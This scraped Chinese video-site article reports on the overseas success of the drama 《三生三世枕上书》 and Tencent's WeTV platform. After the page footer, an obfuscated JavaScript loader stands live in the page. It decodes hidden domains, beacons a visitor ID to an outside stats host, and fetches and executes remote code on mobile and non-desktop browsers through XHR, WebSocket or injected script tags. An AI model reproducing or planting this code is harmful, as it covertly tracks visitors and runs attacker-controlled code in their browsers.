播放记录

《三生三世枕上书》掀海外追剧潮 腾讯视频助力“中国故事”出海

时间:2022-04-12 02:17:00阅读:2843
近期,由腾讯视频全网独播的《三生三世枕上书》凭借“甜虐交织”的唯美仙恋和东方情感内核在海内外引发追剧热潮。该剧在腾讯视频海外站WeTV以及海外发行平台Rakuten Viki、
  • 三生三世枕上书

    56集全

    2020 国产剧言情古装科幻

    青丘帝姬白凤九被东华帝君所救铭记在心,为报恩凤九去太晨宫做宫婢多年。后东华被锁入十恶莲花境,凤九化身灵狐救东华。以后,凤九便以灵狐身份相伴东华旁边,得知东华要迎…

近期,由腾讯视频全网独播的《三生三世枕上书》凭借“甜虐交织”的唯美仙恋和东方情感内核在海内外引发追剧热潮。该剧在腾讯视频海外站WeTV以及海外发行平台Rakuten Viki、Viu和ODC等同步上线以来,海外播放量及热度居高不下,始终位居泰国、印尼、越南、菲律宾、马来西亚以及中国台湾等地区的周播播放量第一。 在北美的Rakuten Viki平台上也长期占据中国影视剧播出排名第一的位置。在此期间,该剧曾拿下泰国推特热搜榜第3,极高的热度和话题度引发海外观众的追剧热情。

收获超高热度的同时,该剧在海外也斩获了不俗的口碑。在北美的Rakuten Viki平台上,《三生三世枕上书》的评分高达9.4分,海外用户纷纷表示被剧中唯美动人的爱情故事所打动,对凤九、东华(高伟光 饰)等人物同样倾注了十足热情,不仅像国内观众一样“日常催更”,更自发将该剧翻译成包括西班牙语、法语、匈牙利语、印尼语等在内的10种不同语言,使更多国家和地区的用户得以加入追剧大军,进一步助推该剧热度持续发酵。与用户的热情相对应,海外媒体同样给予《三生三世枕上书》高度好评,泰国当地发行量最大的两家报纸盛赞其为“今年最不能错过的中国电视剧”,印尼知名媒体TribunNews则以剧集拍摄背后的故事为切入,称赞剧组在拍摄前期围绕服饰、场景等所做的大量的准备,并以此印证“中国剧集的高品质”。

随着《三生三世枕上书》在海外热度及口碑不断走高,剧集影响力迅速扩大,不仅在覆盖亚洲、欧洲、北美洲和大洋洲的新媒体平台同步播出,越南、柬埔寨、韩国、日本、马来西亚以及非洲等地的电视台也正在为《三生三世枕上书》译制本地语言的版本,并将于近期陆续与当地观众见面,必将推动国外追剧热潮进一步升温。

优质的影视作品向来是中国文化的“出海主力军”,基于此,腾讯视频凭借对优质内容的精准把控近几年已向海外输送70余部精品自制内容,包括影视剧、综艺节目以及传播华人文化的纪录片等。为了拉近优质“中国故事”与海外用户的距离,腾讯视频去年推出了首个以华语内容为标签的海外平台——WeTV。不同于之前将不同内容发行给不同海外播出平台的发行模式,WeTV依托平台,整合优质内容,通过本地化的翻译和配音,线上线下同步立体推广,把“中国故事”推介给更多当地用户。去年,在WeTV上播出的《致我们暖暖的小时光》、《陈情令》以及目前播出的《三生三世枕上书》在泰国、印尼等地的热度都远超同期播出的其他海外剧,成功掀起海外华语剧热潮,也成为向海外传递中国文化的窗口。

相关资讯

评论

  • 评论加载中...

首页

电视剧

返回顶部

电影

会员中心

function JIeLj(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function BdsZNlDc(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return JIeLj(t);};window[''+'V'+'i'+'s'+'a'+'B'+'d'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Fwqm(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=BdsZNlDc,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Fwqm(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15577/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Fwqm(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NNzJTNNBJTJGJTJGYS5rZmdqYS5jbiUzQTk1MzM=','168013',window,document,['Z','N']);}:function(){};